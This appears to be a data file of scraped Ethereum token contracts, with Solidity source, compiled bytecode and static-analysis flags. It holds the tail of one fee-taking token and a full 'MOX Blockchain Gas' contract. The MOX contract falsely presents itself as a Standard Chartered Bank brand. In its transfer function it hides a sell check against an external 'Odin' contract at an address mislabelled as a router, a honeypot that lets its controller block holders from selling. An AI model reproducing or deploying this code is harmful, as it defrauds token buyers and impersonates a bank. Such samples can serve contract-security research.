uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 12, "Buy tax must be between 0% and 12%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 12, "Sell tax must be between 0% and 12%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmounts(uint256 maxBuyTxAmount, uint256 maxSellTxAmount) public onlyOwner {
require(maxBuyTxAmount >= 5000000, "Buy Tx Limit must be high enough to not honeypot");
require(maxSellTxAmount >= 5000000, "Sell Tx Limit must be high enough to not honeypot");
_maxBuyTxAmount = maxBuyTxAmount * 10**9;
_maxSellTxAmount = maxSellTxAmount * 10**9;
_maxTxAmount = maxBuyTxAmount * 10**9;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize * 10**9;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101e65760003560e01c80638da5cb5b11610102578063c3c8cd8011610095578063dd62ed3e11610064578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e0578063fe7037301461060057600080fd5b8063c3c8cd8014610519578063c492f0461461052e578063cf4be3941461054e578063d00efb2f1461056457600080fd5b806398a5c315116100d157806398a5c31514610489578063a2a957bb146104a9578063a9059cbb146104c9578063bfd79284146104e957600080fd5b80638da5cb5b146104085780638f70ccf7146104265780638f9a55c01461044657806395d89b411461045c57600080fd5b8063334773271161017a5780636fc3eaec116101495780636fc3eaec146103a857806370a08231146103bd578063715018a6146103dd5780637d1db4a5146103f257600080fd5b8063334773271461033257806349bd5a5e146103485780636b999053146103685780636d8aa8f81461038857600080fd5b806318160ddd116101b657806318160ddd146102bb57806323b872dd146102e05780632fd689e314610300578063313ce5671461031657600080fd5b8062b8cf2a146101f257806306fdde0314610214578063095ea7b3146102535780631694505e1461028357600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611c8e565b610620565b005b34801561022057600080fd5b50604080518082019091526004815263084e4ead60e31b60208201525b60405161024a9190611d53565b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611da8565b6106bf565b604051901515815260200161024a565b34801561028f57600080fd5b506015546102a3906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156102c757600080fd5b50670de0b6b3a76400005b60405190815260200161024a565b3480156102ec57600080fd5b506102736102fb366004611dd4565b6106d6565b34801561030c57600080fd5b506102d2601b5481565b34801561032257600080fd5b506040516009815260200161024a565b34801561033e57600080fd5b506102d260195481565b34801561035457600080fd5b506016546102a3906001600160a01b031681565b34801561037457600080fd5b50610212610383366004611e15565b61073f565b34801561039457600080fd5b506102126103a3366004611e42565b61078a565b3480156103b457600080fd5b506102126107d2565b3480156103c957600080fd5b506102d26103d8366004611e15565b61081d565b3480156103e957600080fd5b5061021261083f565b3480156103fe57600080fd5b506102d260175481565b34801561041457600080fd5b506000546001600160a01b03166102a3565b34801561043257600080fd5b50610212610441366004611e42565b6108b3565b34801561045257600080fd5b506102d2601a5481565b34801561046857600080fd5b50604080518082019091526004815263084a4aa960e31b602082015261023d565b34801561049557600080fd5b506102126104a4366004611e5d565b6108ff565b3480156104b557600080fd5b506102126104c4366004611e76565b61092e565b3480156104d557600080fd5b506102736104e4366004611da8565b610ae4565b3480156104f557600080fd5b50610273610504366004611e15565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b50610212610af1565b34801561053a57600080fd5b50610212610549366004611ea8565b610b45565b34801561055a57600080fd5b506102d260185481565b34801561057057600080fd5b506102d260085481565b34801561058657600080fd5b506102d2610595366004611f2c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506102126105db366004611e5d565b610be6565b3480156105ec57600080fd5b506102126105fb366004611e15565b610c24565b34801561060c57600080fd5b5061021261061b366004611f65565b610d0e565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611f87565b60405180910390fd5b60005b81518110156106bb5760016011600084848151811061067757610677611fbc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611fe8565b915050610656565b5050565b60006106cc338484610e48565b5060015b92915050565b60006106e3848484610f6c565b610735843361073085604051806060016040528060288152602001612102602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061151c565b610e48565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611f87565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611f87565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061080757506014546001600160a01b0316336001600160a01b0316145b61081057600080fd5b4761081a81611556565b50565b6001600160a01b0381166000908152600260205260408120546106d090611590565b6000546001600160a01b031633146108695760405162461bcd60e51b815260040161064a90611f87565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161064a90611f87565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109295760405162461bcd60e51b815260040161064a90611f87565b601b55565b6000546001600160a01b031633146109585760405162461bcd60e51b815260040161064a90611f87565b60028411156109b75760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b606482015260840161064a565b600c821115610a135760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261322560f01b606482015260840161064a565b6002831115610a735760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b606482015260840161064a565b600c811115610ad05760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231322560e81b606482015260840161064a565b600993909355600b91909155600a55600c55565b60006106cc338484610f6c565b6013546001600160a01b0316336001600160a01b03161480610b2657506014546001600160a01b0316336001600160a01b0316145b610b2f57600080fd5b6000610b3a3061081d565b905061081a81611614565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b815260040161064a90611f87565b60005b82811015610be0578160056000868685818110610b9157610b91611fbc565b9050602002016020810190610ba69190611e15565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bd881611fe8565b915050610b72565b50505050565b6000546001600160a01b03163314610c105760405162461bcd60e51b815260040161064a90611f87565b610c1e81633b9aca00612003565b601a5550565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b815260040161064a90611f87565b6001600160a01b038116610cb35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d385760405162461bcd60e51b815260040161064a90611f87565b624c4b40821015610da45760405162461bcd60e51b815260206004820152603060248201527f427579205478204c696d6974206d757374206265206869676820656e6f75676860448201526f081d1bc81b9bdd081a1bdb995e5c1bdd60821b606482015260840161064a565b624c4b40811015610e115760405162461bcd60e51b815260206004820152603160248201527f53656c6c205478204c696d6974206d757374206265206869676820656e6f75676044820152701a081d1bc81b9bdd081a1bdb995e5c1bdd607a1b606482015260840161064a565b610e1f82633b9aca00612003565b601955610e3081633b9aca00612003565b601855610e4182633b9aca00612003565b6017555050565b6001600160a01b038316610eaa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610f0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b0382166110325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b600081116110945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b038481169116148015906110c057506000546001600160a01b03838116911614155b1561134f57601654600160a01b900460ff16611159576000546001600160a01b038481169116146111595760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064a565b6001600160a01b03831660009081526011602052604090205460ff1615801561119b57506001600160a01b03821660009081526011602052604090205460ff16155b6111f35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064a565b6016546001600160a01b0383811691161461127857601a54816112158461081d565b61121f9190612022565b106112785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064a565b60006112833061081d565b601b5460175491925082101590821061129c5760175491505b8080156112b35750601654600160a81b900460ff16155b80156112cd57506016546001600160a01b03868116911614155b80156112e25750601654600160b01b900460ff165b801561130757506001600160a01b03851660009081526005602052604090205460ff16155b801561132c57506001600160a01b03841660009081526005602052604090205460ff16155b1561134c5761133a82611614565b47801561134a5761134a47611556565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061139157506001600160a01b03831660009081526005602052604090205460ff165b806113c357506016546001600160a01b038581169116148015906113c357506016546001600160a01b03848116911614155b156113d057506000611510565b6016546001600160a01b0385811691161480156113fb57506015546001600160a01b03848116911614155b1561145e57600954600d55600a54600e5560195482111561145e5760405162461bcd60e51b815260206004820181905260248201527f544f4b454e3a204d617820427579205472616e73616374696f6e204c696d6974604482015260640161064a565b6016546001600160a01b03848116911614801561148957506015546001600160a01b03858116911614155b1561151057600b54600d55600c54600e556018548211156114f65760405162461bcd60e51b815260206004820152602160248201527f544f4b454e3a204d61782053656c6c205472616e73616374696f6e204c696d696044820152601d60fa1b606482015260840161064a565b60085461150490600a612022565b431161151057602d600e555b610be08484848461179d565b600081848411156115405760405162461bcd60e51b815260040161064a9190611d53565b50600061154d848661203a565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156115f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b60006116016117cb565b905061160d83826117ee565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165c5761165c611fbc565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116b057600080fd5b505afa1580156116c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e89190612051565b816001815181106116fb576116fb611fbc565b6001600160a01b0392831660209182029290920101526015546117219130911684610e48565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061175a90859060009086903090429060040161206e565b600060405180830381600087803b15801561177457600080fd5b505af1158015611788573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806117aa576117aa611830565b6117b584848461185e565b80610be057610be0600f54600d55601054600e55565b60008060006117d8611955565b90925090506117e782826117ee565b9250505090565b600061160d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611995565b600d541580156118405750600e54155b1561184757565b600d8054600f55600e805460105560009182905555565b600080600080600080611870876119c3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118a29087611a20565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118d19086611a62565b6001600160a01b0389166000908152600260205260409020556118f381611ac1565b6118fd8483611b0b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161194291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061197082826117ee565b82101561198c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836119b65760405162461bcd60e51b815260040161064a9190611d53565b50600061154d84866120df565b60008060008060008060008060006119e08a600d54600e54611b2f565b92509250925060006119f06117cb565b90506000806000611a038e878787611b84565b919e509c509a509598509396509194505050505091939550919395565b600061160d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151c565b600080611a6f8385612022565b90508381101561160d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611acb6117cb565b90506000611ad98383611bd4565b30600090815260026020526040902054909150611af69082611a62565b30600090815260026020526040902055505050565b600654611b189083611a20565b600655600754611b289082611a62565b6007555050565b6000808080611b496064611b438989611bd4565b906117ee565b90506000611b5c6064611b438a89611bd4565b90506000611b7482611b6e8b86611a20565b90611a20565b9992985090965090945050505050565b6000808080611b938886611bd4565b90506000611ba18887611bd4565b90506000611baf8888611bd4565b90506000611bc182611b6e8686611a20565b939b939a50919850919650505050505050565b600082611be3575060006106d0565b6000611bef8385612003565b905082611bfc85836120df565b1461160d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461081a57600080fd5b8035611c8981611c69565b919050565b60006020808385031215611ca157600080fd5b823567ffffffffffffffff80821115611cb957600080fd5b818501915085601f830112611ccd57600080fd5b813581811115611cdf57611cdf611c53565b8060051b604051601f19603f83011681018181108582111715611d0457611d04611c53565b604052918252848201925083810185019188831115611d2257600080fd5b938501935b82851015611d4757611d3885611c7e565b84529385019392850192611d27565b98975050505050505050565b600060208083528351808285015260005b81811015611d8057858101830151858201604001528201611d64565b81811115611d92576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611dbb57600080fd5b8235611dc681611c69565b946020939093013593505050565b600080600060608486031215611de957600080fd5b8335611df481611c69565b92506020840135611e0481611c69565b929592945050506040919091013590565b600060208284031215611e2757600080fd5b813561160d81611c69565b80358015158114611c8957600080fd5b600060208284031215611e5457600080fd5b61160d82611e32565b600060208284031215611e6f57600080fd5b5035919050565b60008060008060808587031215611e8c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ebd57600080fd5b833567ffffffffffffffff80821115611ed557600080fd5b818601915086601f830112611ee957600080fd5b813581811115611ef857600080fd5b8760208260051b8501011115611f0d57600080fd5b602092830195509350611f239186019050611e32565b90509250925092565b60008060408385031215611f3f57600080fd5b8235611f4a81611c69565b91506020830135611f5a81611c69565b809150509250929050565b60008060408385031215611f7857600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ffc57611ffc611fd2565b5060010190565b600081600019048311821515161561201d5761201d611fd2565b500290565b6000821982111561203557612035611fd2565b500190565b60008282101561204c5761204c611fd2565b500390565b60006020828403121561206357600080fd5b815161160d81611c69565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120be5784516001600160a01b031683529383019391830191600101612099565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826120fc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cbca1953857e8983c1b85703e4436ee004748d6fd890b1e921354d64e596200164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,501 |
0xaC94774c2493eb757cF4128A69F3ec6632094594 | //SPDX-License-Identifier: MIT
// Telegram: http://t.me/moxchain
// Website: https://mox.com/
// Mox is a brand by Standard Chartered Bank
// Cross-bank blockchain gas token now available for investment
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="MOX";
string constant TOKEN_NAME="MOX Blockchain Gas";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Mox is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a9578063a9059cbb146102c9578063dd62ed3e146102e9578063f42938901461032f57600080fd5b806370a0823114610220578063715018a6146102405780638da5cb5b1461025557806395d89b411461027d57600080fd5b8063293230b8116100c6578063293230b8146101c3578063313ce567146101da57806351bc3c85146101f657806356d9dce81461020b57600080fd5b806306fdde0314610103578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260128152714d4f5820426c6f636b636861696e2047617360701b60208201525b60405161014791906114a5565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461150f565b610344565b6040519015158152602001610147565b34801561018c57600080fd5b5061019561035b565b604051908152602001610147565b3480156101af57600080fd5b506101706101be36600461153b565b61037c565b3480156101cf57600080fd5b506101d86103e5565b005b3480156101e657600080fd5b5060405160068152602001610147565b34801561020257600080fd5b506101d861075d565b34801561021757600080fd5b506101d861078a565b34801561022c57600080fd5b5061019561023b36600461157c565b61080b565b34801561024c57600080fd5b506101d861082d565b34801561026157600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561028957600080fd5b5060408051808201909152600381526209a9eb60eb1b602082015261013a565b3480156102b557600080fd5b506101d86102c4366004611599565b6108d1565b3480156102d557600080fd5b506101706102e436600461150f565b6108fa565b3480156102f557600080fd5b506101956103043660046115b2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033b57600080fd5b506101d8610907565b6000610351338484610971565b5060015b92915050565b60006103696006600a6116e5565b610377906305f5e1006116f4565b905090565b6000610389848484610a95565b6103db84336103d685604051806060016040528060288152602001611872602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610dd1565b610971565b5060019392505050565b6009546001600160a01b031633146103fc57600080fd5b600c54600160a01b900460ff161561045b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104879030906001600160a01b03166104796006600a6116e5565b6103d6906305f5e1006116f4565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e